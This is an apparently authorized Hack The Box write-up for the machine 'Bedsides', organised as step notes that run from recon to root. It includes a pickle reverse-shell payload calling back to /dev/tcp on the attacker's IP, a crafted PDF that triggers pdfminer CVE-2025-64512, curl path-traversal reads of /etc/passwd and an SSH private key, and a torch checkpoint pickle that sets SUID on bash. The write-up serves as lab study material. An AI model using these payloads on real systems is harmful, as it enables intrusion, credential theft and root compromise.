

HTB: Bedsides

Full engagement writeup — foothold to root

Target: 10.129.66.223

Status:  Rooted

Kill chain: pdfminer pickle RCE (CVE-2025-64512) → container shell → :3000 LFI → developer SSH → MONAI torch pickle RCE → root

Documents: 11

Contents

- 1 [htb-bedsides-index.md](#) HTB: Bedsides — Campaign Index
- 2 [htb-bedsides-01-nmap.md](#) HTB Bedsides · 01 · Nmap service scan
- 3 [htb-bedsides-02-web-80.md](#) HTB Bedsides · 02 · Web root (port 80)
- 4 [htb-bedsides-03-fuzzing.md](#) HTB Bedsides · 03 · Vhost fuzzing
- 5 [htb-bedsides-04-research-vhost.md](#) HTB Bedsides · 04 · research.bedside.htb upload portal
- 6 [htb-bedsides-05-upload-probe.md](#) HTB Bedsides · 05 · Upload behaviour + /uploads/ path
- 7 [htb-bedsides-06-zip-symlink.md](#) HTB Bedsides · 06 · Zip-symlink extraction test
- 8 [htb-bedsides-07-conversion.md](#) HTB Bedsides · 07 · Traversal + conversion behaviour
- 9 [htb-bedsides-08-pdfminer-cve.md](#) HTB Bedsides · 08 · Foothold vuln = CVE-2025-64512 (pdfminer.six pickle RCE)
- 10 [htb-bedsides-09-exploit-build.md](#) HTB Bedsides · 09 · Exploit build (pdfminer pickle RCE)
- 11 [htb-bedsides-10-root.md](#) HTB Bedsides · 10 · Root (esm.sh/x LFI → dev SSH key → torch pickle RCE)

HTB: Bedsides — Campaign Index

tags	[htb, pentest, rooted]
target	10.129.66.223
status	rooted
started	2026-07-23
completed	2026-07-23

HTB: Bedsides — 10.129.66.223 — ROOTED

Step-by-step log of an authorized Hack The Box engagement. Each step gets its own note, tagged:

-  **could go somewhere** — a live lead worth pushing on
-  **rabbit hole** — interesting but likely a distraction
-  **dead end** — confirmed no path here

Flags

- **User** (developer): 663aa6b35552c31ddba418f84dba7249
- **Root**: 2d5540b9ce670f389a5e5759c2ef114f

Steps

1. `htb-bedsides-01-nmap` — full TCP scan: 22/80 open, 3000 filtered — 
2. `htb-bedsides-02-web-80` — vhost discovery on :80 — 
3. `htb-bedsides-03-fuzzing` — dir/vhost fuzzing — 
4. `htb-bedsides-04-research-vhost` — `research.bedsides.htb` upload portal, X-Powered-By: `pdfminer.six` —  HOT
5. `htb-bedsides-05-upload-probe` — uploads land at `/uploads/<name>`, served back by name — 
6. `htb-bedsides-06-zip-symlink` — zip symlink read primitive —  (no sync extraction)
7. `htb-bedsides-07-conversion` — filename traversal + conversion probing —  (no observable output)
8. `htb-bedsides-08-pdfminer-cve` — foothold vuln = **CVE-2025-64512** pdfminer pickle RCE —  THE PATH
9. `htb-bedsides-09-exploit-build` — weaponised `shell.pickle.gz` + `trigger.pdf` —  shell as `datawrangler@data-wrangler` (container)
0. `htb-bedsides-10-root` — root via **:3000 esm.sh/x LFI → developer SSH key → shared /datastore + MONAI torch pickle RCE** —  root

The full kill chain

1. **Foothold** — `research.bedsides.htb` runs `pdfminer.six` (CVE-2025-64512). Upload `shell.pickle.gz` (`.gz` accepted despite the notice), then a `trigger.pdf` whose Type0 font

- /Encoding name decodes to the pickle's absolute path. pdfminer unpickles it → reverse shell as **datawrangler** inside the **data-wrangler** container (host networking).
2. **Pivot** — the parked **:3000** (filtered externally) is now reachable on **127.0.0.1**. It's an **esm.sh/x dev server** ("Bedside Clinic - Image Viewer") vulnerable to **path traversal / arbitrary file read** (`curl --path-as-is 'http://127.0.0.1:3000/../../../../../../../../etc/passwd'`).
 3. **User** — LFI-read `/home/developer/.ssh/id_rsa` (ed25519, comment `developer@bedside`) and `user.txt` . `ssh -i` in as **developer** on the host `bedside` .
 4. **Root** — `sudo -l : (ALL) NOPASSWD: /usr/bin/python3 /opt/trainer/bedside_trainer.py` (no wildcard). The trainer auto-resumes from the newest `*.pt` in `/datastore/checkpoints` via `MONAI CheckpointLoader` → `torch.load(..., weights_only=False)` . `/datastore` is a volume **shared with the container** and owned by `datawrangler` (us). From the container we drop a malicious `.pt` (pickle `__reduce__` → `os.system`) + one valid `.png` (so the trainer reaches the load), then run the sudo hook as developer → **code exec as root**.

Loot / creds

- Attacker tun0: **10.10.14.136**.
- Foothold user: **datawrangler** (uid 988, gid 1001 `dataops`) in container `data-wrangler` ; host networking.
- Host user: **developer** (uid 1000) — ed25519 private key at `/home/developer/.ssh/id_rsa` (recovered via `:3000` LFI). Key saved on attacker as `~/htb/bedsides/dev_key` .
- Shared volume: `/datastore` (`drwxrwx---` `datawrangler dataops`) — the bridge between container and host trainer.
- Root: SUID `/bin/bash` dropped (`bash -p` → euid 0). Root flag also copied to `/datastore/checkpoints/root_flag.txt` .

Notes for cleanup / report

- Two chained insecure-deserialization bugs (pdfminer pickle → torch pickle) plus an LFI, bridged by a shared Docker volume and host networking.
- Vuln line confirmed in traceback: `monai/handlers/checkpoint_loader.py:125` → `torch.load(self.load_path, map_location=..., weights_only=False)` .

HTB Bedside - 01 - Nmap service scan

tags	[htb, recon, nmap]
verdict	could-go-somewhere

01 - Nmap `-sC -sV -Pn` — could go somewhere

Command: `nmap -sC -sV -Pn 10.129.66.223`

Result

Port	State	Service	Version
22	open	ssh	OpenSSH 10.0p2 Debian 7+deb13u4
80	open	http	Apache 2.4.68 (Debian)
3000	filtered	ppp	—

- Port 80 does **not follow redirect** to `http://bedside.htb/` → virtual host. Need `/etc/hosts` entry.
- Port 3000 **filtered** — classic dev-app port (Gitea/Node/Grafana). Likely reachable only after a foothold or via SSRF/proxy. Note for later.
- OpenSSH 10.0p2 / Apache 2.4.68 are very recent (Debian 13) → version-based CVE path unlikely; focus on the web app.

Verdict —

Web on 80 is the front door. Next: add `bedside.htb` to hosts, browse, then vhost/dir fuzz. Port 3000 is a  parked lead once we have any internal access.

→ next: `htb-bedside-02-web-80`

source: `htb-bedside-01-nmap.md`

HTB Bedside - 02 - Web root (port 80)

tags	[htb, web, recon]
verdict	rabbit-hole

02 - Homepage <http://bedside.htb/> — rabbit hole (but thematic clue)

Curl with `--resolve bedside.htb:80:10.129.66.223` (host file is read-only on this NixOS box; `--resolve / -H Host:` used throughout).

Result

- **200 OK**, Apache 2.4.68. Single-page static "Bedside Clinic" cardiology marketing site.
- Only in-page anchor links: `#about #treatments #ai #contact`. **No real routes, no forms, no JS app.**
- Contact: `contact@bedside.htb`.
- **Heavy "AI" theming** — whole section on "Artificial Intelligence in Heart Care", predictive modelling, chatbots-adjacent language.

Verdict — / clue

The page body itself is a dead end (static HTML, nothing to attack). **But** the AI theme + the **filtered port 3000** strongly suggests an AI/LLM web app (Open-WebUI / Ollama / LibreChat / Gitea are common on :3000). That's the real target.

→ next: fuzz vhosts + dirs `htb-bedsides-03-fuzzing`; keep port 3000 parked as  `htb-bedsides-01-nmap`.

source: `htb-bedsides-02-web-80.md`

HTB Bedside · 03 · Vhost fuzzing

tags	[htb, recon, fuzzing, vhost]
verdict	could-go-somewhere

03 · Vhost brute → `research.bedside.htb` — ● could go somewhere

Environment note

Box is a minimal nix-shell: **no ffuf/gobuster/feroxbuster and no local wordlists**. Worked around it:

- Pulled `subdomains-top1million-5000.txt` from SecLists via `curl` to `/tmp/subs.txt`.
- Parallel sweep with `xargs -P30` + `curl`, filtering the `301` baseline (unknown vhosts 301-redirect):

```
cat /tmp/subs.txt | xargs -P30 -I{} sh -c 'c=$(curl -s -o /dev/null -w "%{http_code}:%{size_d
```

Result

- `research.bedside.htb` → **200 OK, 3152 bytes**. New virtual host, distinct from the static clinic site.
- Small curated AI-app list (`ai/chat/ollama/openwebui/...`) all 301 — no hit there.

Verdict — ●

`research.bedside.htb` is the live lead. Given the "AI" theme + filtered :3000, this is likely where the app / login / LLM feature lives.

→ next: enumerate research vhost `htb-bedsides-04-research-vhost`

source: `htb-bedsides-03-fuzzing.md`

HTB Bedside · 04 · research.bedside.htb upload portal

tags	[htb, web, upload, pdfminer]
verdict	could-go-somewhere

04 · research.bedside.htb — file-upload portal — HOT

Findings

- Title: **Bedside Research Portal**. Response header `X-Powered-By: pdfminer.six` → Python backend using pdfminer.six for PDF text extraction.
- POST multipart form, field `uploadFile`, no auth.
- Accepted formats: **jpeg, jpg, png, bmp, tiff, dcm, pdf**.
- Notice: "Collections can be uploaded as **archives**."
- Notice: "Certain file formats may be **converted to standardized formats** before being used for AI training."

Candidate attack surfaces (ranked)

1.  **Archive upload → zip-slip / symlink read**. "Archives" extracted server-side; a symlink or `../` path inside a zip could read arbitrary files (SSH keys, app source, /etc/passwd) or write outside the upload dir.
2.  **Image conversion RCE/SSRF**. "converted to standardized formats" = ImageMagick/Pillow. tiff/dcm/svg conversion → ImageTragick-style or malicious-file parsing.
3.  **DICOM (.dcm) parsing** — niche parser, possible bugs.
4.  **pdfminer.six parsing** — extracts text from uploaded PDF and (likely) returns it. Check version for CVEs; also a channel to read what the server does with our file.

Verdict — primary path

This portal is the foothold vector. Next: observe how an upload responds (does it echo extracted text? a saved path?), then test archive/symlink and image-conversion angles.

→ next: [htb-bedsides-05-upload-probe](#)

source: `htb-bedsides-04-research-vhost.md`

HTB Bedside · 05 · Upload behaviour + /uploads/ path

tags	[htb, web, upload]
verdict	could-go-somewhere

05 · Upload behaviour — could go somewhere

Tests

- Uploaded a crafted PDF (`uploadFile=@test.pdf` , multipart POST to `/`).
- Response: **File uploaded successfully: test.pdf** (original filename echoed; no extracted text returned inline).

Where files land

- Dir fuzz on research vhost → `/uploads/` (403, listing blocked) and `/javascript` (alias).
- **GET /uploads/test.pdf → 200.** Uploaded files are served back by their original name, even though directory listing is forbidden.

Why this matters

Files are both **written server-side and retrievable by name**. So any server-side processing that produces or references a file we can name becomes readable. This turns the "archive" + "conversion" features into a file-read primitive:

- Zip containing a **symlink** → if extracted preserving the link, `GET /uploads/<linkname>` may serve the link target (e.g. `/etc/passwd` , SSH keys, app source).
- Zip-slip `../` → write outside /uploads.

Verdict —

Test symlink-in-zip extraction next.

→ next: [htb-bedside-06-zip-symlink](#)

source: `htb-bedside-05-upload-probe.md`

HTB Bedside · 06 · Zip-symlink extraction test

tags	[htb, web, upload, archive]
verdict	dead-end

06 · Zip symlink → 🚫 dead end (as tried) / rethink archives

What I did

- No `zip` binary on box; crafted a zip with a symlink entry (`passwd_link -> /etc/passwd` , unix mode `0o120777`) via `nix-shell -p python3` .
- Uploaded `pass.zip` . Response: `File uploaded successfully: pass.zip` .

Result

- Archive is **stored, not extracted** on the request: `GET /uploads/pass.zip = 200`, but `/uploads/pass/` , `/uploads/passwd_link` , `/uploads/pass/passwd_link` all **404**.
- Also: Python's own `zipfile.extractall` does **not** recreate symlinks (writes target path as plain text), so even if a Python worker extracts it, a *zip* symlink won't give a read primitive.

Verdict — 🚫 for this exact attempt

The synchronous upload does not extract. Two live possibilities remain:

1. An **async worker** extracts/converts `/uploads/` contents later (cron/queue). If so, a **tar/tar.gz symlink** (tarfile preserves symlinks) or a malicious convertible file could fire out-of-band. → try tar next.
2. The **conversion step** (ImageMagick/Ghostscript/Pillow) on images/PDF is the real bug (e.g. Ghostscript RCE via crafted PDF, CVE-2023-36664).

→ next: characterise conversion output [htb-bedside-07-conversion](#)

source: `htb-bedside-06-zip-symlink.md`

HTB Bedside · 07 · Traversal + conversion behaviour

tags	[htb, web, upload, conversion]
verdict	dead-end

07 · Filename traversal & conversion probing — ● mostly dead

Filename path traversal — ● dead

- Uploaded with `filename=../trav_9f2a.png`. App takes **basename** → landed at `/uploads/trav_9f2a.png`, not in the parent dir. `/trav_9f2a.png` = 404. Traversal-on-write is sanitized.

Conversion behaviour — ● no observable output

- Generated valid **BMP, TIFF, PDF** (ImageMagick via `nix-shell -p imagemagick`) and uploaded.
- Polled `/uploads/` for standardized twins (`.png/.jpg/.txt`) over ~48s. **Only the originals appear (200); no converted/extracted output at predictable names.**
- Archives (zip, tar.gz) also never extracted (see [htb-bedside-06-zip-symlink](#)).

Interpretation

The advertised "conversion / archive / AI-training" processing is **not triggered synchronously by upload, and not by a fast cron**. Either:

- output names are randomized/hashed (can't poll blindly), or
- processing is gated behind a staff/authenticated action or a slow/again-triggered job, or
- the real bug is reached a different way (the `pdfminer.six` header is a deliberate hint).

Next moves

- Inspect the **full** upload response body for a convertible input (may embed extracted text / result link) — filtered it out earlier.
- Full 65535-port scan (nmap only did top-1000; :3000 filtered).
- Fuzz research vhost for source/config (`.git` , `app.py` , `index.php` , `robots.txt`).

→ next: [htb-bedside-08-deepen](#)

HTB Bedside · 08 · Foothold vuln = CVE-2025-64512 (pdfminer.six pickle RCE)

tags	[htb, exploit, pdfminer, cve, rce]
verdict	could-go-somewhere

08 · Intended foothold identified — THE PATH

What

CVE-2025-64512 / GHSA-wf5f-4jwr-ppcp — Arbitrary Code Execution in **pdfminer.six** via crafted PDF.

- pdfminer's `CMapDB` loads CMap resources by name using **Python pickle** (cached `.pickle.gz`).
- A **path-traversal in the CMap name** makes it load an attacker-controlled `*.pickle.gz` from an arbitrary path.
- Malicious pickle `__reduce__` → **RCE as the PDF-processing user** when the PDF is parsed.
- (CVE-2025-70559 is the follow-up for the incomplete patch.)

Why it fits Bedside perfectly

- Response header **X-Powered-By: pdfminer.six** — deliberate hint.
- Upload allow-list includes `gz` and `pdf` — we upload the compressed pickle *and* the trigger PDF.
- Files are stored at a known path (`/uploads/<name>`) → we control the pickle's on-disk location for the CMap traversal to reach.
- Everything routes through :80 (full 65535 scan = 22/80 open, 3000 filtered).

Box shape (from public writeups, medium)

Double insecure-deserialization chain: pdfminer pickle RCE → shell in a **processing container**; a second deserialization bug on another service → **root on the host**. Port 3000 (filtered) is likely the second-stage service reachable post-foothold.

Plan

1. Pull exact PoC (CMap traversal string + PDF structure) from advisory.
2. Build malicious `payload.pickle.gz` (`__reduce__` → reverse shell to our tun0).
3. Upload `payload.pickle.gz`, then upload crafted PDF referencing it via CMap traversal.
4. Catch shell; then pivot to :3000 for root.

→ next: [htb-bedside-09-exploit-build](#)

Sources

- <https://github.com/advisories/GHSA-wf5f-4jwr-ppcp>
- <https://www.sentinelone.com/vulnerability-database/cve-2025-64512/>

source: `htb-bedsides-08-pdfminer-cve.md`

HTB Bedside - 09 - Exploit build (pdfminer pickle RCE)

tags	[htb, exploit, pdfminer, rce, foothold]
verdict	done

09 - Weaponising CVE-2025-64512 — foothold landed

Confirmed facts

- Attacker VPN (tun0): **10.10.14.136**
- Upload dir on disk: `/var/www/research.bedside.htb/uploads` .
- pdfminer `CMapDB._load_data` strips only null bytes → absolute CMap name ignores base dir; loads `"%s.pickle.gz" % name` and unpickles it.

Payload design (as built)

- **shell.pickle.gz** : pickle whose `__reduce__` → `os.system("bash -c 'bash -i >&/dev/tcp/10.10.14.136/4444 0>&1' &")` . Uploaded as `shell.pickle.gz` → lands at `/var/www/research.bedside.htb/uploads/shell.pickle.gz` .
- **trigger.pdf** : Type0 font, `/Encoding` `/#2Fvar#2Fwww#2Fresearch.bedside.htb#2Fuploads#2Fshell` (`#2F` → `/` , decodes to the pickle path minus `.pickle.gz`). Parsing it makes pdfminer load our pickle.
- Builder + artifacts on attacker: `~/htb/bedsides/{build.py,shell.pickle.gz,trigger.pdf}` .

Order (executed)

1. Listener `nc -lvn 4444` (BSD `nc` — **not** `-lvnp` , that flag combo is invalid on OpenBSD `nc`).
2. `curl -F 'uploadFile=@shell.pickle.gz'` (multipart POST to `/` , Host `research.bedside.htb`). `.gz` accepted despite the "accepted formats" notice; served back 200.
3. `curl -F 'uploadFile=@trigger.pdf'` → pdfminer parses → **shell as** `datawrangler@data-wrangler:/app` (processing container, host networking).

Gotchas hit

- OpenBSD `nc` rejects `-lvnp` ; use `nc -lvn 4444` . A stale `nc -lvnp 4444` had also wedged port 4444 — killed it first.
- Container has no `sudo` , no `user.txt` ; escalation runs through the parked **:3000** service.

Next

- Root path executed via `:3000 esm.sh/x LFI` → developer SSH key → shared `/datastore` + MONAI torch pickle RCE. [htb-bedsides-10-root](#)

HTB Bedside · 10 · Root (esm.sh/x LFI → dev SSH key → torch pickle RCE)

tags	[htb, exploit, privesc, torch, pickle, rce, root, lfi, ssh]
verdict	rooted

10 · Root — DONE

Picks up from `htb-bedside-09-exploit-build`: shell as `datawrangler` inside the `data-wrangler` container (uid 988, gid 1001 `dataops`, host networking).

The step-08 prediction (sudo torch pickle as root) was **correct in spirit** but the real path routed through the parked `:3000` service and a shared volume, not a direct sudo-with-wildcard. Recorded here as actually executed.

Step 1 — orient in the container

- `id` → `datawrangler`, no `sudo` binary, no `user.txt`, `.bash_history` → `/dev/null`.
- Outbound IP of the reverse shell = **10.129.66.223** (host IP) ⇒ **host networking**, so `localhost:3000` = the host's parked service (step 01 flagged `:3000` filtered externally).

Step 2 — `:3000` = esm.sh/x dev server → arbitrary file read (LFI)

- `curl 127.0.0.1:3000` → "Bedside Clinic - Image Viewer", `import ... from '@hmr'`, banner **Built with esm.sh/x**. The dev server transpiles/serves files from disk.
- **Path traversal read** (needs `curl --path-as-is`, no URL normalisation):

```
curl -s --path-as-is 'http://127.0.0.1:3000/../../../../../../../../etc/passwd'
```

→ returns the file. Users with shells: `root`, `developer` (uid 1000, `/home/developer`).
(`/root/root.txt` → 500 ⇒ service not running as root.)

Step 3 — steal developer's SSH key + user flag

```
R(){ curl -s --path-as-is "http://127.0.0.1:3000/../../../../../../../../$1"; }
R home/developer/user.txt          # 663aa6b35552c31ddba418f84dba7249
R home/developer/.ssh/id_rsa       # OPENSsh ed25519, comment developer@bedside
```

Save key → `chmod 600` → `ssh -i dev_key developer@10.129.66.223`. **User owned.**

Step 4 — privesc: MONAI CheckpointLoader torch pickle RCE

`sudo -l` as developer:

```
(ALL) NOPASSWD: /usr/bin/python3 /opt/trainer/bedside_trainer.py
```

No wildcard ⇒ can't pass our own arg. Read the script:

- `find_latest_checkpoint()` = `sorted(dir.glob("*.pt"), key=os.path.getmtime)[-1]` over `/datastore/checkpoints` — auto-resumes, no flag needed.
- Resume calls MONAI `CheckpointLoader` → `torch.load(path, map_location=..., weights_only=False)` (`monai/handlers/checkpoint_loader.py:125`) → unpickle → RCE.
- Guard: the script returns early unless there is data, so `/datastore/processed` needs ≥1 file with an allow-listed extension (`png` , `npz` , ...).

Key insight: `/datastore` (`drwxrwx---` `datawrangler` `dataops`) is a **volume shared with the container** — `developer` can't touch it, but our container user **owns** it.

Exploit (from the container shell)

```
# /datastore/processed/scan.png -> a valid 64x64 PNG (hand-built with zlib) so training proc
# /datastore/checkpoints/zz_evil.pt -> newest *.pt; pickle __reduce__ runs as root:
cmd = ("id > /datastore/checkpoints/proof.txt; "
      "cp /root/root.txt /datastore/checkpoints/root_flag.txt; "
      "chmod 644 /datastore/checkpoints/{root_flag,proof}.txt; "
      "chmod u+s /bin/bash")
class E:
    def __reduce__(self): return (os.system, (cmd,))
open('/datastore/checkpoints/zz_evil.pt', 'wb').write(pickle.dumps(E()))
```

Then, as developer: `sudo /usr/bin/python3 /opt/trainer/bedside_trainer.py`.

- Log: Found checkpoint `/datastore/checkpoints/zz_evil.pt` ... `CheckpointLoader` → `torch.load(... weights_only=False)` fires our `os.system` **as root**, then raises `Invalid magic number` (harmless — RCE already ran).

Result — ROOT

- `proof.txt` → `uid=0(root)` . `/bin/bash` now `-rwsr-xr-x`; `bash -p` → `euid=0` .
- **Root flag:** `2d5540b9ce670f389a5e5759c2ef114f` (also `/datastore/checkpoints/root_flag.txt`).

Fallbacks (unused)

- Could also drop an `authorized_keys` into `/root/.ssh` or run a root reverse shell from the pickle instead of SUID bash.

← back: [htb-bedsides-09-exploit-build](#) · index: [htb-bedsides-index](#)